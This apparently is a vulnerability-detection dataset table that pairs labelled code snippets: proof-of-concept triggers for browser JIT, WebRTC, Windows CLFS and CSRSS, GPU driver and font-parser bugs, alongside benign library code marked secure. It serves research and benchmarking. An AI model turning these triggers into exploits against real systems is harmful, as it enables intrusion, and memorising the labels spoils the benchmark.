text
stringclasses 18
values | label
stringclasses 2
values |
|---|---|
function foo(bug) {
function C(z) {
Error.prepareStackTrace = function(t, B) {
return B[z].getThis();
};
let p = Error().stack;
Error.prepareStackTrace = null;
return p;
}
function J() {}
var optim = false;
var opt = new Function(
'a', 'b', 'c',
'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
'g++;'.repeat(70));
var e = null;
J.prototype.d = new Function(
'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
J.prototype.a = new Function('a', 'a.b(0,a)');
J.prototype.b = new Function(
'a', 'b',
'b.c();if(a){' +
'g++;'.repeat(70) + '}');
J.prototype.c = function() {
if (optim) {
var z = C(3);
var p = C(3);
z[0] = 0;
e = {M: z, C: p};
}
};
var a = new J();
// jit optim
if (bug) {
for (var V = 0; 1E4 > V; V++) {
opt(0 == V % 4 ? 1 : 4, a, 1);
}
}
optim = true;
opt(1, a, 1);
return e;
}
e1 = foo(false);
console.log(e1.M === e1.C); // prints true.
e2 = foo(true);
console.log(e2.M === e2.C); // should be true as above but prints false. | 0 (vulnerable) |
<html>
<head>
<script>
var canvas = document.createElement('canvas');
function createConnection() {
var pc = new RTCPeerConnection({
iceServers: [],
iceTransportPolicy: 'relay'
});
var encodings = [];
for (var i = 0; i < 2; i++) {
encodings.push({ rid: String.fromCharCode(97 + i) });// rid must be alphabetic and unique
}
pc.addTransceiver(canvas.captureStream(0).getTracks()[0], { sendEncodings: encodings });
return pc;
}
function sdp_munge(offer) {
let sdp = offer.sdp;
sdp = sdp.replace(/\r?\na=rid:(.+)\s+send\r?\na=simulcast:send\s+.+;\1/, '');
offer.sdp = sdp;
return offer;
}
async function trigger(pc) {
var pc = createConnection(); // create an WebRTC connection with
var offer = await pc.createOffer(); // create an offer
var munged_offer = sdp_munge(offer); // remove one of the send_codecs_ from the offer
await pc.setLocalDescription(munged_offer); // set the local description with the sdp
}
trigger();
</script>
</head>
</html> | 0 (vulnerable) |
__int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2)
{
...
v11 = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this);
v9 = v11;
v16 = v11;
if ( v11 >= 0 )
{
pContainer = *((_QWORD *)containerContext + 3);
if ( pContainer )
{
*((_QWORD *)containerContext + 3) = 0i64;
ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
v4 = 0;
(*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 0x18i64))(pContainer); // remove method
(*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 8i64))(pContainer); // release method
v9 = v16;
goto LABEL_20;
}
goto LABEL_19;
}
...
} v44 = *((_DWORD *)containerContext + 5); // to trigger RemoveContainer one should set this field to -1
if ( v44 == -1 )
{
*((_QWORD *)containerContext + 3) = 0i64; // pContainer is set to NULL
v20 = CClfsBaseFilePersisted::RemoveContainer(this, v34);
v72 = v20;
if ( v20 < 0 )
goto LABEL_134;
v23 = v78;
v34 = (unsigned int)(v34 + 1);
v79 = v34;
} ...
// Obtain all container contexts represented in blf
// save pContainer class pointer for each valid container context
for ( i = 0; i < 0x400; ++i )
{
v20 = CClfsBaseFile::AcquireContainerContext(this, i, &v22);
v15 = (char *)this + 8 * i;
if ( v20 >= 0 )
{
v16 = v22;
*((_QWORD *)v15 + 56) = *((_QWORD *)v22 + 3); // for each valid container save pContainer
*((_QWORD *)v16 + 3) = 0i64; // and set the initial pContainer to zero
CClfsBaseFile::ReleaseContainerContext(this, &v22);
}
else
{
*((_QWORD *)v15 + 56) = 0i64;
}
}
// Stage [1] enode block, prepare it for writing
ClfsEncodeBlock(
(struct _CLFS_LOG_BLOCK_HEADER *)v9,
*(unsigned __int16 *)(v9 + 4) << 9,
*(_BYTE *)(v9 + 2),
0x10u,
1u);
// write modified data
v10 = CClfsContainer::WriteSector(
*((CClfsContainer **)this + 19),
*((struct _KEVENT **)this + 20),
0i64,
*(void **)(*((_QWORD *)this + 6) + 24 * v8),
*(unsigned __int16 *)(v9 + 4),
&v23);
...
if ( v7 )
{
// Stage [2] Decode file again for futher processing in clfs.sys
ClfsDecodeBlock((struct _CLFS_LOG_BLOCK_HEADER *)v9, *(unsigned __int16 *)(v9 + 4), *(_BYTE *)(v9 + 2), 0x10u, &v21);
// optain new pContainer class pointer
v17 = (_QWORD *)((char *)this + 448);
do
{
// Stage [3] for each valid container
// update pContainer field
if ( *v17 && (int)CClfsBaseFile::AcquireContainerContext(this, v6, &v22) >= 0 )
{
*((_QWORD *)v22 + 3) = *v17;
CClfsBaseFile::ReleaseContainerContext(this, &v22);
}
++v6;
++v17;
}
while ( v6 < 0x400 );
}
... | 0 (vulnerable) |
static struct kbase_va_region *kbase_mem_from_user_buffer(
struct kbase_context *kctx, unsigned long address,
unsigned long size, u64 *va_pages, u64 *flags)
{
[...]
+ int write;
[...]
+ write = reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR);
+
#if KERNEL_VERSION(4, 6, 0) > LINUX_VERSION_CODE
faulted_pages = get_user_pages(current, current->mm, address, *va_pages,
#if KERNEL_VERSION(4, 4, 168) <= LINUX_VERSION_CODE && \
KERNEL_VERSION(4, 5, 0) > LINUX_VERSION_CODE
- reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0,
- pages, NULL);
+ write ? FOLL_WRITE : 0, pages, NULL);
#else
- reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL);
+ write, 0, pages, NULL);
#endif
#elif KERNEL_VERSION(4, 9, 0) > LINUX_VERSION_CODE
faulted_pages = get_user_pages(address, *va_pages,
- reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL);
+ write, 0, pages, NULL);
#else
faulted_pages = get_user_pages(address, *va_pages,
- reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0,
- pages, NULL);
+ write ? FOLL_WRITE : 0, pages, NULL);
#endif | 0 (vulnerable) |
input = document.body.appendChild(document.createElement("input"));
foo = document.body.appendChild(document.createElement("a"));
foo.id = "foo";
// Go to state1 when history.back is called
// The URL needs to be <currentPage+hash> to trigger loadInSameDocument during the call to back()
// Since the foo's element id="foo", focus will change to that element
history.pushState("state1", "", location + "#foo");
// Current state = state2
history.pushState("state2", "");
setTimeout(() => {
// Set the focus on the input element.
// During the call to back() the focus will change to the foo element
// and therefore triggering the blur event on the input element
input.focus();
input.onblur = () => history.replaceState("state3", "");
setTimeout(() => history.back(), 1000);
}, 1000); | 0 (vulnerable) |
var initKey = {init : 1};
var level = 4;
var map1 = new WeakMap();
function hideWeakMap(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = new WeakMap();
prevMap.set(prevKey, thisMap);
let thisKey = {'h' : i};
thisMap.set(prevKey, thisKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
let retMap = new WeakMap();
map.set(thisKey, retMap);
return thisKey;
}
}
}
function getHiddenKey(map, level, initKey) {
let prevMap = map;
let prevKey = initKey;
for (let i = 0; i < level; i++) {
let thisMap = prevMap.get(prevKey);
let thisKey = thisMap.get(prevKey);
prevMap = thisMap;
prevKey = thisKey;
if (i == level - 1) {
return thisKey;
}
}
}
function setUpWeakMap(map) {
let hk = hideWeakMap(map, level, initKey);
let hiddenMap = map.get(hk);
let map7 = new WeakMap();
let map8 = new WeakMap();
let k5 = {k5 : 1};
let map5 = new WeakMap();
let k7 = {k7 : 1};
let k9 = {k9 : 1};
let k8 = {k8 : 1};
let v9 = {};
map.set(k7, map7);
map.set(k9, v9);
hiddenMap.set(k5, map5);
hiddenMap.set(hk, k5);
map5.set(hk, k7);
map7.set(k8, map8);
map7.set(k7, k8);
map8.set(k8,k9);
}
function main() {
setUpWeakMap(map1);
new ArrayBuffer(0x7fe00000);
let hiddenKey = getHiddenKey(map1, level, initKey);
let hiddenMap = map1.get(hiddenKey);
let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
let k8 = map1.get(k7).get(k7);
let map8 = map1.get(k7).get(k8);
console.log(map1.get(map8.get(k8)));
}
while (true) {
try {
main();
} catch (err) {}
} | 0 (vulnerable) |
function store(y) {
x = y;
}
function load() {
return x.b;
}
var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};
store(x1);
%PrepareFunctionForOptimization(store);
store(x2);
x1.b = 1;
%OptimizeFunctionOnNextCall(store);
store(x2);
x.b = 1;
%PrepareFunctionForOptimization(load);
load();
%OptimizeFunctionOnNextCall(load);
load();
store(x3);
%DebugPrint(load()); | 0 (vulnerable) |
global_object = {};
setPropertyViaEmbed = (object, value, handler) => {
const embed = document.createElement('embed');
embed.onload = handler;
embed.type = 'text/html';
Object.setPrototypeOf(global_object, embed);
document.body.appendChild(embed);
object.corrupted_prop = value;
embed.remove();
}
createCorruptedPair = (value_1, value_2) => {
const object_1 = {
__proto__: global_object
};
object_1.regular_prop = 1;
setPropertyViaEmbed(object_1, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_1.corrupted_prop = value_1;
});
const object_2 = {
__proto__: global_object
};
object_2.regular_prop = 1;
setPropertyViaEmbed(object_2, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = value_1;
object_1.regular_prop = 1.1
});
return [object_1, object_2];
}
const array = [1.1];
array.prop = 1;
const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918);
jit = (object) => {
return object.corrupted_prop[0];
}
for (var i = 0; i < 100000; ++i)
jit(object_1);
jit(object_2); | 0 (vulnerable) |
int SetBlendDesignPositions(void *arg) {
int num_master;
Fixed16_16 values[16][15];
for (num_master = 0; ; num_master++) {
if (GetToken() != TOKEN_OPEN) {
break;
}
int values_read = GetOpenFixedArray(&values[num_master], 15);
SetNumAxes(values_read);
}
SetNumMasters(num_master);
for (int i = 0; i < num_master; i++) {
procs->BlendDesignPositions(i, &values[i]);
}
return 0;
} | 0 (vulnerable) |
#include <stdint.h>
#include <stdio.h>
#include <windows.h>
#include <string>
const char* MANIFEST_CONTENTS =
"<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"
"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>"
"<assemblyIdentity name='@' version='1.0.0.0' type='win32' "
"processorArchitecture='amd64'/>"
"</assembly>";
const WCHAR* NULL_BYTE_STR = L"\x00\x00";
const WCHAR* MANIFEST_NAME =
L"msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_"
L"d761caeca23d64a2.manifest";
const WCHAR* PATH = L"\\\\.\\c:Windows\\";
const WCHAR* MODULE = L"System.Data.SqlXml.Resources";
typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount,
ULONG BufferSize);
f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer;
typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage,
PVOID CaptureBuffer,
ULONG ApiNumber,
ULONG DataLength);
f_CsrClientCallServer CsrClientCallServer;
typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer,
PCSTR String,
ULONG Length,
ULONG MaximumLength,
PSTR OutputString);
f_CsrCaptureMessageString CsrCaptureMessageString;
NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString,
PCWSTR String, ULONG Length = 0) {
if (Length == 0) {
Length = lstrlenW(String);
}
return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2,
Length * 2 + 2, OutputString);
}
int main() {
HMODULE Ntdll = LoadLibrary(L"Ntdll.dll");
CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress(
Ntdll, "CsrAllocateCaptureBuffer");
CsrClientCallServer =
(f_CsrClientCallServer)GetProcAddress(Ntdll, "CsrClientCallServer");
CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress(
Ntdll, "CsrCaptureMessageString");
char Message[0x220];
memset(Message, 0, 0x220);
PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300);
std::string Manifest = MANIFEST_CONTENTS;
Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A');
// There's no public definition of the relevant CSR_API_MSG structure.
// The offsets and values are taken directly from the exploit.
*(uint32_t*)(Message + 0x40) = 0xc1;
*(uint16_t*)(Message + 0x44) = 9;
*(uint16_t*)(Message + 0x59) = 0x201;
// CSRSS loads the manifest contents from the client process memory;
// therefore, it doesn't have to be stored in the capture buffer.
*(const char**)(Message + 0x80) = Manifest.c_str();
*(uint64_t*)(Message + 0x88) = Manifest.size();
*(uint64_t*)(Message + 0xf0) = 1;
CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2);
CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME);
CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH);
CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE);
// Triggers the issue by setting ApplicationName.MaxLength to a large value.
*(uint16_t*)(Message + 0x122) = 0x8000;
CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0);
} | 0 (vulnerable) |
#include "gtest/internal/gtest-filepath.h"
#include <stdlib.h>
#include "gtest/gtest-message.h"
#include "gtest/internal/gtest-port.h"
#if GTEST_OS_WINDOWS_MOBILE
#include <windows.h>
#elif GTEST_OS_WINDOWS
#include <direct.h>
#include <io.h>
#else
#include <limits.h>
#include <climits> // Some Linux distributions define PATH_MAX here.
#endif // GTEST_OS_WINDOWS_MOBILE
#include "gtest/internal/gtest-string.h"
#if GTEST_OS_WINDOWS
#define GTEST_PATH_MAX_ _MAX_PATH
#elif defined(PATH_MAX)
#define GTEST_PATH_MAX_ PATH_MAX
#elif defined(_XOPEN_PATH_MAX)
#define GTEST_PATH_MAX_ _XOPEN_PATH_MAX
#else
#define GTEST_PATH_MAX_ _POSIX_PATH_MAX
#endif // GTEST_OS_WINDOWS
namespace testing {
namespace internal {
#if GTEST_OS_WINDOWS
// On Windows, '\\' is the standard path separator, but many tools and the
// Windows API also accept '/' as an alternate path separator. Unless otherwise
// noted, a file path can contain either kind of path separators, or a mixture
// of them.
const char kPathSeparator = '\\';
const char kAlternatePathSeparator = '/';
const char kAlternatePathSeparatorString[] = "/";
#if GTEST_OS_WINDOWS_MOBILE
// Windows CE doesn't have a current directory. You should not use
// the current directory in tests on Windows CE, but this at least
// provides a reasonable fallback.
const char kCurrentDirectoryString[] = "\\";
// Windows CE doesn't define INVALID_FILE_ATTRIBUTES
const DWORD kInvalidFileAttributes = 0xffffffff;
#else
const char kCurrentDirectoryString[] = ".\\";
#endif // GTEST_OS_WINDOWS_MOBILE
#else
const char kPathSeparator = '/';
const char kCurrentDirectoryString[] = "./";
#endif // GTEST_OS_WINDOWS
// Returns whether the given character is a valid path separator.
static bool IsPathSeparator(char c) {
#if GTEST_HAS_ALT_PATH_SEP_
return (c == kPathSeparator) || (c == kAlternatePathSeparator);
#else
return c == kPathSeparator;
#endif
}
// Returns the current working directory, or "" if unsuccessful.
FilePath FilePath::GetCurrentDir() {
#if GTEST_OS_WINDOWS_MOBILE || GTEST_OS_WINDOWS_PHONE || \
GTEST_OS_WINDOWS_RT || GTEST_OS_ESP8266 || GTEST_OS_ESP32 || \
GTEST_OS_XTENSA || GTEST_OS_QURT
// These platforms do not have a current directory, so we just return
// something reasonable.
return FilePath(kCurrentDirectoryString);
#elif GTEST_OS_WINDOWS
char cwd[GTEST_PATH_MAX_ + 1] = {'\0'};
return FilePath(_getcwd(cwd, sizeof(cwd)) == nullptr ? "" : cwd);
#else
char cwd[GTEST_PATH_MAX_ + 1] = {'\0'};
char* result = getcwd(cwd, sizeof(cwd));
#if GTEST_OS_NACL
// getcwd will likely fail in NaCl due to the sandbox, so return something
// reasonable. The user may have provided a shim implementation for getcwd,
// however, so fallback only when failure is detected.
return FilePath(result == nullptr ? kCurrentDirectoryString : cwd);
#endif // GTEST_OS_NACL
return FilePath(result == nullptr ? "" : cwd);
#endif // GTEST_OS_WINDOWS_MOBILE
} | 1 (secure) |
#pragma once
#include <Core/Types.h>
#include <Common/Exception.h>
#include <Common/intExp.h>
#include <base/arithmeticOverflow.h>
#include <limits>
#include <type_traits>
namespace DB
{
template <typename T>
class DataTypeNumber;
namespace ErrorCodes
{
extern const int DECIMAL_OVERFLOW;
extern const int ARGUMENT_OUT_OF_BOUND;
}
namespace DecimalUtils
{
inline constexpr size_t min_precision = 1;
template <typename T> inline constexpr size_t max_precision = 0;
template <> inline constexpr size_t max_precision<Decimal32> = 9;
template <> inline constexpr size_t max_precision<Decimal64> = 18;
template <> inline constexpr size_t max_precision<DateTime64> = 18;
template <> inline constexpr size_t max_precision<Decimal128> = 38;
template <> inline constexpr size_t max_precision<Decimal256> = 76;
template <typename T>
inline auto scaleMultiplier(UInt32 scale)
{
if constexpr (std::is_same_v<T, Int32> || std::is_same_v<T, Decimal32>)
return common::exp10_i32(scale);
else if constexpr (std::is_same_v<T, Int64> || std::is_same_v<T, Decimal64> || std::is_same_v<T, DateTime64>)
return common::exp10_i64(scale);
else if constexpr (std::is_same_v<T, Int128> || std::is_same_v<T, Decimal128>)
return common::exp10_i128(scale);
else if constexpr (std::is_same_v<T, Int256> || std::is_same_v<T, Decimal256>)
return common::exp10_i256(scale);
}
/** Components of DecimalX value:
* whole - represents whole part of decimal, can be negative or positive.
* fractional - for fractional part of decimal, always positive.
*/
template <typename DecimalType>
struct DecimalComponents
{
using T = typename DecimalType::NativeType;
T whole;
T fractional;
};
/// Traits used for determining final Type/Precision/Scale for certain math operations on decimals.
template <typename T>
struct DataTypeDecimalTrait
{
using FieldType = T;
const UInt32 precision;
const UInt32 scale;
DataTypeDecimalTrait(UInt32 precision_, UInt32 scale_)
: precision(precision_),
scale(scale_)
{}
/// @returns multiplier for U to become T with correct scale
template <typename U>
T scaleFactorFor(const DataTypeDecimalTrait<U> & x, bool) const
{
if (scale < x.scale)
throw Exception("Decimal result's scale is less than argument's one", ErrorCodes::ARGUMENT_OUT_OF_BOUND);
const UInt32 scale_delta = scale - x.scale; /// scale_delta >= 0
return DecimalUtils::scaleMultiplier<typename T::NativeType>(scale_delta);
}
};
| 1 (secure) |
#include <SFML/System/Err.hpp>
#include <SFML/Window/SensorManager.hpp>
#include <ostream>
namespace sf
{
namespace priv
{
////////////////////////////////////////////////////////////
SensorManager& SensorManager::getInstance()
{
static SensorManager instance;
return instance;
}
////////////////////////////////////////////////////////////
bool SensorManager::isAvailable(Sensor::Type sensor)
{
return m_sensors[sensor].available;
}
////////////////////////////////////////////////////////////
void SensorManager::setEnabled(Sensor::Type sensor, bool enabled)
{
if (m_sensors[sensor].available)
{
m_sensors[sensor].enabled = enabled;
m_sensors[sensor].sensor.setEnabled(enabled);
}
else
{
err() << "Warning: trying to enable a sensor that is not available (call Sensor::isAvailable to check it)"
<< std::endl;
}
}
////////////////////////////////////////////////////////////
bool SensorManager::isEnabled(Sensor::Type sensor) const
{
return m_sensors[sensor].enabled;
}
////////////////////////////////////////////////////////////
Vector3f SensorManager::getValue(Sensor::Type sensor) const
{
return m_sensors[sensor].value;
}
////////////////////////////////////////////////////////////
void SensorManager::update()
{
for (Item& item : m_sensors)
{
// Only process available sensors
if (item.available)
item.value = item.sensor.update();
}
}
////////////////////////////////////////////////////////////
SensorManager::SensorManager()
{
// Global sensor initialization
SensorImpl::initialize();
// Per sensor initialization
for (int i = 0; i < Sensor::Count; ++i)
{
// Check which sensors are available
m_sensors[i].available = SensorImpl::isAvailable(static_cast<Sensor::Type>(i));
// Open the available sensors
if (m_sensors[i].available)
{
if (m_sensors[i].sensor.open(static_cast<Sensor::Type>(i)))
{
m_sensors[i].sensor.setEnabled(false);
}
else
{
m_sensors[i].available = false;
err() << "Warning: sensor " << i << " failed to open, will not be available" << std::endl;
}
}
}
}
////////////////////////////////////////////////////////////
SensorManager::~SensorManager()
{
// Per sensor cleanup
for (Item& item : m_sensors)
{
if (item.available)
item.sensor.close();
}
// Global sensor cleanup
SensorImpl::cleanup(); | 1 (secure) |
#pragma once
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#ifdef _WIN32
#include <winsock.h>
#else
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#endif
#include <vector>
#include <iostream>
#include <fstream>
#include <time.h>
#define STD_PORT 9777
#define MS_ABSOLUTE 0x01
//#define MS_RELATIVE 0x02
#define BTN_USE_NAME 0x01
#define BTN_DOWN 0x02
#define BTN_UP 0x04
#define BTN_USE_AMOUNT 0x08
#define BTN_QUEUE 0x10
#define BTN_NO_REPEAT 0x20
#define BTN_VKEY 0x40
#define BTN_AXIS 0x80
#define PT_HELO 0x01
#define PT_BYE 0x02
#define PT_BUTTON 0x03
#define PT_MOUSE 0x04
#define PT_PING 0x05
#define PT_BROADCAST 0x06
#define PT_NOTIFICATION 0x07
#define PT_BLOB 0x08
#define PT_LOG 0x09
#define PT_ACTION 0x0A
#define PT_DEBUG 0xFF
#define ICON_NONE 0x00
#define ICON_JPEG 0x01
#define ICON_PNG 0x02
#define ICON_GIF 0x03
#define MAX_PACKET_SIZE 1024
#define HEADER_SIZE 32
#define MAX_PAYLOAD_SIZE (MAX_PACKET_SIZE - HEADER_SIZE)
#define MAJOR_VERSION 2
#define MINOR_VERSION 0
#define LOGDEBUG 0
#define LOGINFO 1
#define LOGNOTICE 2
#define LOGWARNING 3
#define LOGERROR 4
#define LOGSEVERE 5
#define LOGFATAL 6
#define LOGNONE 7
#define ACTION_EXECBUILTIN 0x01
#define ACTION_BUTTON 0x02
class CAddress
{
private:
struct sockaddr_in m_Addr;
public:
CAddress(int Port = STD_PORT)
{
m_Addr.sin_family = AF_INET;
m_Addr.sin_port = htons(Port);
m_Addr.sin_addr.s_addr = INADDR_ANY;
memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero);
}
CAddress(const char *Address, int Port = STD_PORT)
{
m_Addr.sin_port = htons(Port);
struct hostent *h;
if (Address == NULL || (h=gethostbyname(Address)) == NULL)
{
if (Address != NULL)
printf("Error: Get host by name\n");
m_Addr.sin_addr.s_addr = INADDR_ANY;
m_Addr.sin_family = AF_INET;
}
else
{
m_Addr.sin_family = h->h_addrtype;
m_Addr.sin_addr = *((struct in_addr *)h->h_addr);
}
memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero);
}
void SetPort(int port)
{
m_Addr.sin_port = htons(port);
}
const sockaddr *GetAddress()
{
return ((struct sockaddr *)&m_Addr);
}
bool Bind(int Sockfd)
{
return (bind(Sockfd, (struct sockaddr *)&m_Addr, sizeof m_Addr) == 0);
}
};
class XBMCClientUtils
{
public:
XBMCClientUtils() = default;
~XBMCClientUtils() = default;
static unsigned int GetUniqueIdentifier()
{
static time_t id = time(NULL);
return id;
}
static void Clean()
{
#ifdef _WIN32
WSACleanup();
#endif
}
static bool Initialize()
{
#ifdef _WIN32
WSADATA wsaData;
if (WSAStartup(MAKEWORD(1, 1), &wsaData))
return false;
#endif
return true;
}
};
class CPacket | 1 (secure) |
#ifndef BOOST_BEAST_WEBSOCKET_OPTION_HPP
#define BOOST_BEAST_WEBSOCKET_OPTION_HPP
#include <boost/beast/core/detail/config.hpp>
namespace boost {
namespace beast {
namespace websocket {
/** permessage-deflate extension options.
These settings control the permessage-deflate extension,
which allows messages to be compressed.
@note Objects of this type are used with
@ref beast::websocket::stream::set_option.
*/
struct permessage_deflate
{
/// `true` to offer the extension in the server role
bool server_enable = false;
/// `true` to offer the extension in the client role
bool client_enable = false;
/** Maximum server window bits to offer
@note Due to a bug in ZLib, this value must be greater than 8.
*/
int server_max_window_bits = 15;
/** Maximum client window bits to offer
@note Due to a bug in ZLib, this value must be greater than 8.
*/
int client_max_window_bits = 15;
/// `true` if server_no_context_takeover desired
bool server_no_context_takeover = false;
/// `true` if client_no_context_takeover desired
bool client_no_context_takeover = false;
/// Deflate compression level 0..9
int compLevel = 8;
/// Deflate memory level, 1..9
int memLevel = 4;
/// The minimum size a message should have to be compressed
std::size_t msg_size_threshold = 0;
};
} // websocket
} // beast
} // boost
#endif | 1 (secure) |
#include <cstdlib>
#include <iostream>
#include <sstream>
using namespace std;
void build_code(int max_args)
{
stringstream ss;
ss << "#define NLOHMANN_JSON_EXPAND( x ) x" << endl;
ss << "#define NLOHMANN_JSON_GET_MACRO(";
for (int i = 0 ; i < max_args ; i++)
ss << "_" << i + 1 << ", ";
ss << "NAME,...) NAME" << endl;
ss << "#define NLOHMANN_JSON_PASTE(...) NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_GET_MACRO(__VA_ARGS__, \\" << endl;
for (int i = max_args ; i > 1 ; i--)
ss << "NLOHMANN_JSON_PASTE" << i << ", \\" << endl;
ss << "NLOHMANN_JSON_PASTE1)(__VA_ARGS__))" << endl;
ss << "#define NLOHMANN_JSON_PASTE2(func, v1) func(v1)" << endl;
for (int i = 3 ; i <= max_args ; i++)
{
ss << "#define NLOHMANN_JSON_PASTE" << i << "(func, ";
for (int j = 1 ; j < i -1 ; j++)
ss << "v" << j << ", ";
ss << "v" << i-1 << ") NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE" << i-1 << "(func, ";
for (int j = 2 ; j < i-1 ; j++)
ss << "v" << j << ", ";
ss << "v" << i-1 << ")" << endl;
}
cout << ss.str() << endl;
}
int main(int argc, char** argv)
{
int max_args = 64;
build_code(max_args);
return 0;
} | 1 (secure) |
#ifndef RAPIDJSON_FILEWRITESTREAM_H_
#define RAPIDJSON_FILEWRITESTREAM_H_
#include "stream.h"
#include <cstdio>
#ifdef __clang__
RAPIDJSON_DIAG_PUSH
RAPIDJSON_DIAG_OFF(unreachable-code)
#endif
RAPIDJSON_NAMESPACE_BEGIN
//! Wrapper of C file stream for output using fwrite().
/*!
\note implements Stream concept
*/
class FileWriteStream {
public:
typedef char Ch; //!< Character type. Only support char.
FileWriteStream(std::FILE* fp, char* buffer, size_t bufferSize) : fp_(fp), buffer_(buffer), bufferEnd_(buffer + bufferSize), current_(buffer_) {
RAPIDJSON_ASSERT(fp_ != 0);
}
void Put(char c) {
if (current_ >= bufferEnd_)
Flush();
*current_++ = c;
}
void PutN(char c, size_t n) {
size_t avail = static_cast<size_t>(bufferEnd_ - current_);
while (n > avail) {
std::memset(current_, c, avail);
current_ += avail;
Flush();
n -= avail;
avail = static_cast<size_t>(bufferEnd_ - current_);
}
if (n > 0) {
std::memset(current_, c, n);
current_ += n;
}
}
void Flush() {
if (current_ != buffer_) {
size_t result = std::fwrite(buffer_, 1, static_cast<size_t>(current_ - buffer_), fp_);
if (result < static_cast<size_t>(current_ - buffer_)) {
// failure deliberately ignored at this time
// added to avoid warn_unused_result build errors
}
current_ = buffer_;
}
}
// Not implemented
char Peek() const { RAPIDJSON_ASSERT(false); return 0; }
char Take() { RAPIDJSON_ASSERT(false); return 0; }
size_t Tell() const { RAPIDJSON_ASSERT(false); return 0; }
char* PutBegin() { RAPIDJSON_ASSERT(false); return 0; }
size_t PutEnd(char*) { RAPIDJSON_ASSERT(false); return 0; }
private:
// Prohibit copy constructor & assignment operator.
FileWriteStream(const FileWriteStream&);
FileWriteStream& operator=(const FileWriteStream&);
std::FILE* fp_;
char *buffer_;
char *bufferEnd_;
char *current_;
};
//! Implement specialized version of PutN() with memset() for better performance.
template<>
inline void PutN(FileWriteStream& stream, char c, size_t n) {
stream.PutN(c, n);
}
RAPIDJSON_NAMESPACE_END
#ifdef __clang__
RAPIDJSON_DIAG_POP
#endif
#endif // RAPIDJSON_FILESTREAM_H_ | 1 (secure) |
#include <os>
#include <kernel.hpp>
#include <kprint>
#include <boot/multiboot.h>
#include <kernel/memory.hpp>
//#define DEBUG_MULTIBOOT
#ifdef DEBUG_MULTIBOOT
#undef debug
#define debug(X,...) kprintf(X,##__VA_ARGS__);
#define MYINFO(X,...) kprintf("<Multiboot>" X "\n", ##__VA_ARGS__)
#undef INFO2
#define INFO2(X,...) kprintf("\t" X "\n", ##__VA_ARGS__)
#else
#define debug(X,...)
#define MYINFO(X,...) INFO("Kernel", X, ##__VA_ARGS__)
#endif
using namespace util::bitops;
using namespace util::literals;
extern uintptr_t _end;
#if defined(ARCH_aarch64)
uint32_t dummy[24];
uintptr_t __multiboot_addr=(uintptr_t)&dummy[0];
#else
extern uint32_t __multiboot_addr;
#endif
static inline multiboot_info_t* bootinfo(uint32_t addr)
{
// NOTE: the address is 32-bit and not a pointer
return (multiboot_info_t*) (uintptr_t) addr;
}
multiboot_info_t* kernel::bootinfo()
{
return (multiboot_info_t*) (uintptr_t) __multiboot_addr;
}
uintptr_t _multiboot_memory_end(uintptr_t boot_addr) {
auto* info = bootinfo(boot_addr);
if (info->flags & MULTIBOOT_INFO_MEMORY) {
return 0x100000 + (info->mem_upper * 1024);
}
return os::Arch::max_canonical_addr;
}
// Deterimine the end of multiboot provided data
// (e.g. multiboot's data area as offset to the _end symbol)
uintptr_t _multiboot_free_begin(uintptr_t boot_addr)
{
const auto* info = bootinfo(boot_addr);
uintptr_t multi_end = reinterpret_cast<uintptr_t>(&_end);
debug("* Multiboot begin: 0x%x \n", info);
if (info->flags & MULTIBOOT_INFO_CMDLINE
and info->cmdline > multi_end)
{
debug("* Multiboot cmdline @ 0x%x: %s \n", info->cmdline, (char*)info->cmdline);
// We can't use a cmdline that's either insde our ELF or pre-ELF area
Expects(info->cmdline > multi_end
or info->cmdline < 0x100000);
if (info->cmdline > multi_end) {
auto* cmdline_ptr = (const char*) (uintptr_t) info->cmdline;
// Set free begin to after the cmdline string,
